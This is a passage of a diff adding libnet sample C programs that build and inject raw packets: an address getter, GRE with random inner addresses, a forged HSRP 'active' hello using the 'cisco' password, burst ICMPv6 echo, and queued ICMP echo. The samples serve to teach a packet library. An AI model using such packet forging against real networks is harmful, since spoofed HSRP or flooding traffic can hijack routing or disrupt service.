OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" +#ifdef __WIN32__ +#include "../include/win32/getopt.h" +#endif + +int +main(int argc, char *argv[]) +{ + int c; + u_long i; + libnet_t *l; + char *device = NULL; + struct libnet_ether_addr *e; + char errbuf[LIBNET_ERRBUF_SIZE]; + + printf("libnet 1.1 address getter\n"); + + while ((c = getopt(argc, argv, "i:")) != EOF) + { + switch (c) + { + case 'i': + device = optarg; + break; + default: + exit(EXIT_FAILURE); + } + } + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_LINK, /* injection type */ + device, /* network interface */ + errbuf); /* errbuf */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + printf("Interface:\t%s\n", libnet_getdevice(l)); + e = libnet_get_hwaddr(l); + if (e == NULL) + { + fprintf(stderr, "Can't get hardware address: %s\n", libnet_geterror(l)); + } + else + { + printf("MAC address:\t"); + for (c = 0; c < 6; c++) + { + printf("%2.2x", e->ether_addr_octet[c]); + if (c != 5) + { + printf(":"); + } + } + printf("\n"); + } + + i = libnet_get_ipaddr4(l); + if (i == -1) + { + fprintf(stderr, "Can't get ip address: %s\n", libnet_geterror(l)); + } + else + { + printf("IP address:\t"); + printf("%s\n", libnet_addr2name4(i, LIBNET_DONT_RESOLVE)); + } + exit(EXIT_SUCCESS); +} + +/* EOF */ diff --git a/libnet/sample/gre.c b/libnet/sample/gre.c new file mode 100644 index 0000000..fb203b8 --- /dev/null +++ b/libnet/sample/gre.c @@ -0,0 +1,410 @@ +/* + * + * libnet 1.1 + * Build a GRE packet + * To view: tcpdump -s 0 -n -X -vvv proto gre + * + * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org> + * All rights reserved. + * + * + * KNOWN BUG + * the encapsulated headers have wrong checksums. I guess this is due to + * the one pass libnet_pblock_coalesce() which is really to complicated :( + * + * + * Default packet: + * # ./gre -d 1.2.3.4 + * libnet 1.1 packet shaping: GRE 1701 [link] + * Wrote 78 byte GRE packet; check the wire. + * + * 18:58:12.112157 192.168.1.2 > 1.2.3.4: gre 198.35.123.50.1234 > 103.69.139.107.53: S [bad tcp cksum 698a!] 16843009:16843009(0) win 32767 (ttl 64, id 242, len 40, bad cksum 0!) (ttl 255, id 255, len 64) + * 0x0000 4500 0040 00ff 0000 ff2f f4df c0a8 0102 E..@...../...... + * 0x0010 0102 0304 0000 0800 4500 0028 00f2 0000 ........E..(.... + * 0x0020 4006 0000 c623 7b32 6745 8b6b 04d2 0035 @....#{2gE.k...5 + * 0x0030 0101 0101 0202 0202 5002 7fff 6666 0000 ........P...ff.. + * + * Packet with a computed checksum + * # ./gre -d 1.2.3.4 -c 0 + * libnet 1.1 packet shaping: GRE 1701 [link] + * Wrote 82 byte GRE packet; check the wire. + * + * 18:58:22.587513 192.168.1.2 > 1.2.3.4: gre [Cv0] C:7c62 198.35.123.50.1234 > 103.69.139.107.53: S [bad tcp cksum 698a!] 16843009:16843009(0) win 32767 (ttl 64, id 242, len 40, bad cksum 0!) (ttl 255, id 255, len 68) + * 0x0000 4500 0044 00ff 0000 ff2f f4db c0a8 0102 E..D...../...... + * 0x0010 0102 0304 8000 0800 7c62 0000 4500 0028 ........|b..E..( + * 0x0020 00f2 0000 4006 0000 c623 7b32 6745 8b6b ....@....#{2gE.k + * 0x0030 04d2 0035 0101 0101 0202 0202 5002 7fff ...5........P... + * 0x0040 6666 0000 ff.. + * + * + * Packet with a forced checksum + * # ./gre -d 1.2.3.4 -c 6666 + * libnet 1.1 packet shaping: GRE 1701 [link] + * Wrote 68 byte GRE packet; check the wire. + * + * 19:04:12.108080 192.168.1.2 > 1.2.3.4: gre [Cv0] C:1a0a 198.35.123.50.1234 > 103.69.139.107.53: S [bad tcp cksum 698a!] 16843009:16843009(0) win 32767 (ttl 64, id 242, len 40, bad cksum 0!) (ttl 255, id 255, len 68) + * 0x0000 4500 0044 00ff 0000 ff2f f4db c0a8 0102 E..D...../...... + * 0x0010 0102 0304 8000 0800 1a0a 0000 4500 0028 ............E..( + * 0x0020 00f2 0000 4006 0000 c623 7b32 6745 8b6b ....@....#{2gE.k + * 0x0030 04d2 0035 0101 0101 0202 0202 5002 7fff ...5........P... + * 0x0040 6666 0000 ff.. + * + * + * + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + + +void +usage(char *prog) +{ + fprintf(stderr, "Usage: %s\n", prog); + fprintf(stderr, "\t IP options: -d <dst ip> [-s src ip]\n"); + fprintf(stderr, "\t GRE options: [-v] set RFC 2637 mode (PPP in GRE) (default is RFC 1701 for IP in GRE)\n"); + fprintf(stderr, "\t\t RFC 1701 options (IP in GRE):\n"); + fprintf(stderr, "\t\t [-c sum] [-r routing] [-k key] [-n seqnum]\n"); + fprintf(stderr, "\t\t IP in GRE options: [-S src ip] [-D dst ip]\n"); + fprintf(stderr, "\t\t RFC 2637 options (PPP in GRE):\n"); + fprintf(stderr, "\t\t [-a ack]\n"); + + exit(1); +} + +/* + * --------------------------------- + * | Delivery Header | + * --------------------------------- + * | GRE Header | + * --------------------------------- + * | Payload packet | + * --------------------------------- + */ +int +main(int argc, char *argv[]) +{ + char c; + libnet_t *l; + char errbuf[LIBNET_ERRBUF_SIZE]; + u_long src_ip = 0, dst_ip = 0, gre_src_ip = 0, gre_dst_ip = 0; + u_short checksum = 0, offset = 0; + u_char *routing = NULL; + u_long key = 0, seq = 0; + u_short gre_flags = 0; + u_long len; + u_long size = 0; + libnet_ptag_t t; + + printf("libnet 1.1 packet shaping: GRE [link]\n"); + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_LINK, /* injection type */ + NULL, /* network interface */ + errbuf); /* error buffer */ + + if (!l) + { + fprintf(stderr, "libnet_init: %s", errbuf); + exit(EXIT_FAILURE); + } + + /* + * parse options + */ + while ((c = getopt(argc, argv, "d:s:D:S:c:r:k:n:va:")) != EOF) + { + switch (c) + { + + case 'd': + if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 's': + if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 'D': + if ((gre_dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address (GRE): %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 'S': + if ((gre_src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address (GRE): %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 'c': + checksum = atoi(optarg); + gre_flags|=GRE_CSUM; + break; + case 'r': + routing = optarg; + gre_flags|=GRE_ROUTING; + break; + case 'k': + key = atoi(optarg); + gre_flags|=GRE_KEY; + break; + case 'n': + seq = atoi(optarg); + gre_flags|=GRE_SEQ; + break; + case 'v': + gre_flags|=(GRE_VERSION_1|GRE_KEY); + break; + case 'a': + if (! (gre_flags & GRE_VERSION_1)) + usage(argv[0]); + seq = atoi(optarg); /* seq in v0 is ack in v1 */ + gre_flags|=GRE_ACK; + break; + default: + exit(EXIT_FAILURE); + } + } + + /* + * check options + */ + if (!dst_ip) + { + usage(argv[0]); + } + + if (!src_ip) + { + src_ip = libnet_get_ipaddr4(l); + } + + if (!gre_dst_ip) + { + gre_dst_ip = libnet_get_prand(LIBNET_PRu32); + } + + if (!gre_src_ip) + { + gre_src_ip = libnet_get_prand(LIBNET_PRu32); + } + + + if ( (gre_flags & GRE_VERSION_MASK) == 0) + { + /* + * Build a TCP/IP packet embedded in GRE message + */ + size = LIBNET_TCP_H; + t = libnet_build_tcp( + 1234, /* source port */ + 53, /* destination port */ + 0x01010101, /* sequence number */ + 0x02020202, /* acknowledgement num */ + TH_SYN, /* control flags */ + 32767, /* window size */ + 0, /* checksum */ + 0, /* urgent pointer */ + size, /* TCP packet size */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build TCP header (GRE): %s\n", libnet_geterror(l)); + goto bad; + } + + size += LIBNET_IPV4_H; + t = libnet_build_ipv4( + size, /* length */ + 0, /* TOS */ + 242, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_TCP, /* protocol */ + 0, /* checksum */ + gre_src_ip, /* source IP */ + gre_dst_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build IP header (GRE): %s\n", libnet_geterror(l)); + goto bad; + } + } + + if ( (gre_flags & GRE_VERSION_MASK) == 1) + { + offset = libnet_get_prand(LIBNET_PRu16); + if (~gre_flags & GRE_ACK) + { + u_char ppp[4] = "\x00\x01"; /* PPP padding */ + checksum = 2; /* checksum is in fact payload_s in PPP/GRE (v1) */ + size = 2; + gre_flags|=GRE_SEQ; + key = libnet_get_prand(LIBNET_PRu32); + + /* + * Build a PPP packet embedded in GRE message + */ + t = libnet_build_data( + ppp, + checksum, + l, + 0 + ); + if (t == -1) + { + fprintf(stderr, "Can't build PPP header (GRE): %s\n", libnet_geterror(l)); + goto bad; + } + } + gre_flags&=~(GRE_CSUM|GRE_ROUTING); + } + + /* + * Build the GRE message + */ + if (gre_flags & GRE_ROUTING) + { + /* as packet are stacked, start by the last one, ie null sre */ + size += LIBNET_GRE_SRE_H; + t = libnet_build_gre_last_sre(l, 0); + if (t == -1) + { + fprintf(stderr, "Can't build GRE last SRE header: %s\n", libnet_geterror(l)); + goto bad; + } + size += LIBNET_GRE_SRE_H + strlen(routing); + t = libnet_build_gre_sre( + GRE_IP, /* address family */ + 0, /* offset */ + strlen(routing), /* routing length */ + routing, /* routing info */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build GRE last SRE header: %s\n", libnet_geterror(l)); + goto bad; + } + } + + len = libnet_getgre_length(gre_flags); + size += len; + t = libnet_build_gre( + gre_flags, /* flags & version */ + (gre_flags & GRE_VERSION_1 ? GRE_PPP : GRE_IP), /* type */ + checksum, /* v0: checksum / v1: payload_s */ + offset, /* v0: offset / v1: callID */ + key, /* v0: key / v1: seq bum */ + seq, /* v0: seq num / v1: ack */ + size, /* length */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build GRE header: %s\n", libnet_geterror(l)); + goto bad; + } + + + /* + * Build the "real" IP header + */ + size+=LIBNET_IPV4_H; + t = libnet_build_ipv4( + size, /* length */ + 0, /* TOS */ + 255, /* IP ID */ + 0, /* IP Frag */ + 255, /* TTL */ + IPPROTO_GRE, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build IP header (GRE): %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_autobuild_ethernet( + "11:11:11:11:11:11", /* ethernet destination */ + ETHERTYPE_IP, /* protocol type */ + l); /* libnet handle */ + if (t == -1) + { + fprintf(stderr, "Can't build ethernet header: %s\n", + libnet_geterror(l)); + goto bad; + } + /* + * Write it to the wire. + */ + + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte GRE packet; check the wire.\n", c); + } + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} diff --git a/libnet/sample/hsrp.c b/libnet/sample/hsrp.c new file mode 100644 index 0000000..13cf43b --- /dev/null +++ b/libnet/sample/hsrp.c @@ -0,0 +1,196 @@ +/* + * + * libnet 1.1.2 + * Build a HSRP packet + * + * Copyright (c) 2004 David Barroso Berrueta <tomac@wasahero.org> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#if ((_WIN32) && !(__CYGWIN__)) +#include "../include/win32/config.h" +#else +#include "../include/config.h" +#endif +#endif +#include "./libnet_test.h" + + +int +main(int argc, char *argv[]) +{ + u_int8_t version = LIBNET_HSRP_VERSION; + u_int8_t opcode = LIBNET_HSRP_TYPE_HELLO; + u_int8_t state = LIBNET_HSRP_STATE_ACTIVE; + u_int8_t hello_time = 3; + u_int8_t hold_time = 10; + u_int8_t priority = 1; + u_int8_t group = 1; + u_int8_t reserved = 0; + u_int8_t authdata[8]; + + libnet_t *l; + char *device = NULL; + char src[] = "1.1.1.1"; + char *eth_dst = "DE:AD:00:00:BE:EF"; + char dst[] = "224.0.0.2"; + int port = 1985; + int c; + u_long src_ip, dst_ip; + char errbuf[LIBNET_ERRBUF_SIZE]; + libnet_ptag_t ptag = 0; + + printf("libnet 1.1.2 packet shaping: HSRP[link]\n"); + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_LINK_ADV, /* injection type */ + device, /* network interface */ + errbuf); /* error buffer */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + printf("Using device %s\n", l->device); + + if ((dst_ip = libnet_name2addr4(l, dst, LIBNET_RESOLVE)) == (u_long)-1) + { + fprintf(stderr, "Bad destination IP address: %s\n", dst); + exit(EXIT_FAILURE); + } + + if ((src_ip = libnet_name2addr4(l, src, LIBNET_RESOLVE)) == (u_long)-1) + { + fprintf(stderr, "Bad source IP address: %s\n", src); + exit(EXIT_FAILURE); + } + + memset(authdata, 0, 8); + strncpy(authdata, "cisco", 5); + + + ptag = libnet_build_hsrp( + version, + opcode, + state, + hello_time, /* Recommended hello time */ + hold_time, /* Recommended hold time */ + priority, /* Priority */ + group, /* Group */ + reserved, /* Reserved */ + authdata, /* Password */ + src_ip, /* Virtual IP */ + NULL, + 0, + l, + 0 + ); + + if (ptag == -1) + { + fprintf(stderr, "Can't build HSRP header: %s\n", libnet_geterror(l)); + goto bad; + } + + ptag = libnet_build_udp( + port, /* source port */ + port, /* destination port */ + LIBNET_UDP_H + LIBNET_HSRP_H , /* packet length */ + 0, /* checksum */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + + if (ptag == -1) + { + fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l)); + goto bad; + } + + ptag = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_HSRP_H,/* length */ + 0, /* TOS */ + 666, /* IP ID */ + 0, /* IP Frag */ + 1 , /* TTL */ + IPPROTO_UDP, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + + if (ptag == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + exit(EXIT_FAILURE); + } + + + eth_dst = libnet_hex_aton(eth_dst, &c); + ptag = libnet_autobuild_ethernet( + eth_dst, /* ethernet destination */ + ETHERTYPE_IP, /* protocol type */ + l); /* libnet handle */ + + free(eth_dst); + if (ptag == -1) + { + fprintf(stderr, "Can't build ethernet header: %s\n", + libnet_geterror(l)); + goto bad; + } + + + /* + * write to the wire + */ + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte HSRP packet; check the wire.\n", c); + } + libnet_destroy(l); + return (EXIT_SUCCESS); + bad: + libnet_destroy(l); + return (EXIT_FAILURE); + + return 0; +} diff --git a/libnet/sample/icmp6_echoreq.c b/libnet/sample/icmp6_echoreq.c new file mode 100644 index 0000000..d874372 --- /dev/null +++ b/libnet/sample/icmp6_echoreq.c @@ -0,0 +1,184 @@ +/* + * $Id: icmp6_echoreq.c,v 1.1.1.1 2003/06/26 21:55:10 route Exp $ + * + * Poseidon++ (c) 1996 - 2002 Mike D. Schiffman <mike@infonexus.com> + * Redone from synflood example by Stefan Schlott <stefan@ploing.de> + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +struct t_pack +{ + struct libnet_ipv6_hdr ip; + struct libnet_tcp_hdr tcp; +}; + + +int +main(int argc, char **argv) +{ + struct libnet_in6_addr dst_ip; + struct libnet_in6_addr src_ip; + u_short dst_prt = 0; + u_short src_prt = 0; + libnet_t *l; + libnet_ptag_t t; + u_char *cp; + char errbuf[LIBNET_ERRBUF_SIZE]; + int i, c, packet_amt, burst_int, burst_amt, build_ip; + char srcname[100],dstname[100]; + + packet_amt = 0; + burst_int = 0; + burst_amt = 1; + + printf("libnet 1.1 echo request ICMP6[raw]\n"); + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_RAW6, /* injection type */ + NULL, /* network interface */ + errbuf); /* error buffer */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + while((c = getopt(argc, argv, "t:a:i:b:")) != EOF) + { + switch (c) + { + case 't': + if (!(cp = strrchr(optarg, '/'))) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + *cp++ = 0; + dst_prt = (u_short)atoi(cp); + dst_ip = libnet_name2addr6(l, optarg, 1); + if (strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0) + { + fprintf(stderr, "Bad IP6 address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 'a': + packet_amt = atoi(optarg); + break; + case 'i': + burst_int = atoi(optarg); + break; + case 'b': + burst_amt = atoi(optarg); + break; + default: + usage(argv[0]); + exit(EXIT_FAILURE); + } + } + + if (!dst_prt || strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0 || !packet_amt) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + + + libnet_seed_prand(l); + libnet_addr2name6_r(src_ip,1,srcname,sizeof(srcname)); + libnet_addr2name6_r(dst_ip,1,dstname,sizeof(dstname)); + + for(t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;) + { + for (i = 0; i < packet_amt; i++) + { + char payload[56]; + int i; + for (i=0; i<56; i++) payload[i]='A'+((char)(i%26)); + t = libnet_build_icmpv4_echo(ICMP6_ECHO,0,0,1,0,payload,sizeof(payload),l,t); + + if (build_ip) + { + build_ip = 0; + libnet_build_ipv6(0,0, + LIBNET_ICMPV6_H + sizeof(payload), + IPPROTO_ICMP6, + 64, + src_ip, + dst_ip, + NULL, + 0, + l, + 0); + } + printf("%15s/%5d -> %15s/%5d\n", + srcname, + ntohs(src_prt), + dstname, + dst_prt); + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l)); + } +#if !(__WIN32__) + usleep(250); +#else + Sleep(250); +#endif + + } +#if !(__WIN32__) + sleep(burst_int); +#else + Sleep(burst_int * 1000); +#endif + } + exit(EXIT_SUCCESS); +} + + +void +usage(char *nomenclature) +{ + fprintf(stderr, + "\n\nusage: %s -t -a [-i -b]\n" + "\t-t target, (ip6:address/port, e.g. ::1/23)\n" + "\t-a number of packets to send per burst\n" + "\t-i packet burst sending interval (defaults to 0)\n" + "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature); +} + + +/* EOF */ diff --git a/libnet/sample/icmp_echo_cq.c b/libnet/sample/icmp_echo_cq.c new file mode 100644 index 0000000..0eaa61d --- /dev/null +++ b/libnet/sample/icmp_echo_cq.c @@ -0,0 +1,201 @@ +/* + * $Id: icmp_echo_cq.c,v 1.3 2004/01/03 20:31:01 mike Exp $ + * + * libnet 1.1 + * Build ICMP_ECHO packets using the context queue interface. + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" +#ifdef __WIN32__ +#include "../include/win32/getopt.h" +#endif + +void usage(char *); + + +int +main(int argc, char **argv) +{ + libnet_t *l = NULL; + u_long src_ip = 0, dst_ip = 0; + u_long count = 10; + int i, c; + libnet_ptag_t t; + char *payload = NULL; + u_short payload_s = 0; + + char *device = NULL; + char *pDst = NULL, *pSrc = NULL; + char errbuf[LIBNET_ERRBUF_SIZE]; + char label[LIBNET_LABEL_SIZE]; + + printf("libnet 1.1 packet shaping: ICMP[RAW using context queue]\n"); + + while((c = getopt(argc, argv, "d:s:i:c:p:")) != EOF) + { + switch (c) + { + case 'd': + pDst = optarg; + break; + case 's': + pSrc = optarg; + break; + case 'i': + device = optarg; + break; + case 'c': + count = strtoul(optarg, 0, 10); + break; + case 'p': + payload = optarg; + payload_s = strlen(payload); + break; + } + } + + if (!pSrc || !pDst) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + /* + * Fill the context queue with "count" packets, each with their own + * context. + */ + for (i = 0; i < count; i++) + { + l = libnet_init( + LIBNET_RAW4, /* injection type */ + device, /* network interface */ + errbuf); /* errbuf */ + + if (l == NULL) + { + /* we should run through the queue and free any stragglers */ + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + /* + * Since we need a libnet context for address resolution it is + * necessary to put this inside the loop. + */ + if (!dst_ip && (dst_ip = libnet_name2addr4(l, pDst, + LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", pDst); + exit(1); + } + if (!src_ip && (src_ip = libnet_name2addr4(l, pSrc, + LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", pSrc); + exit(1); + } + + t = libnet_build_icmpv4_echo( + ICMP_ECHO, /* type */ + 0, /* code */ + 0, /* checksum */ + 0x42, /* id */ + 0x42, /* sequence number */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); + if (t == -1) + { + fprintf(stderr, "Can't build ICMP header: %s\n", + libnet_geterror(l)); + goto bad; + } + + t = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H + payload_s, /* length */ + 0, /* TOS */ + 0x42, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_ICMP, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + payload, /* payload */ + payload_s, /* payload size */ + l, /* libnet handle */ + 0); + if (t == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* and finally, put it in the context queue */ + snprintf(label, sizeof(label)-1, "echo %d", i); + if (libnet_cq_add(l, label) == -1) + { + fprintf(stderr, "add error: %s\n", libnet_geterror(l)); + goto bad; + } + } + + for_each_context_in_cq(l) + { + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte ICMP packet from context \"%s\"; " + "check the wire.\n", c, libnet_cq_getlabel(l)); + } + } + + libnet_cq_destroy(); + return (EXIT_SUCCESS); +bad: + libnet_cq_destroy(); + libnet_destroy(l); + return (EXIT_FAILURE); +} + +void +usage(char *name) +{ + fprintf(stderr, "usage: %s -s source_ip -d destination_ip" + " [-i iface] [-c count = 10]\n ", name); +} + +/* EOF */ diff --git a/libnet/sample/icmp_redirect.c b/libnet/sample/icmp_redirect.c new file mode 100644 index 0000000..92d13c0 --- /dev/null +++ b/libnet/sample/icmp_redirect.c @@ -0,0 +1,200 @@ +/* + * $Id: icmp_redirect.c,v 1.3 2004/03/16 18:40:58 mike Exp $ + * + * libnet 1.1 + * Build an ICMP redirect packet + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + 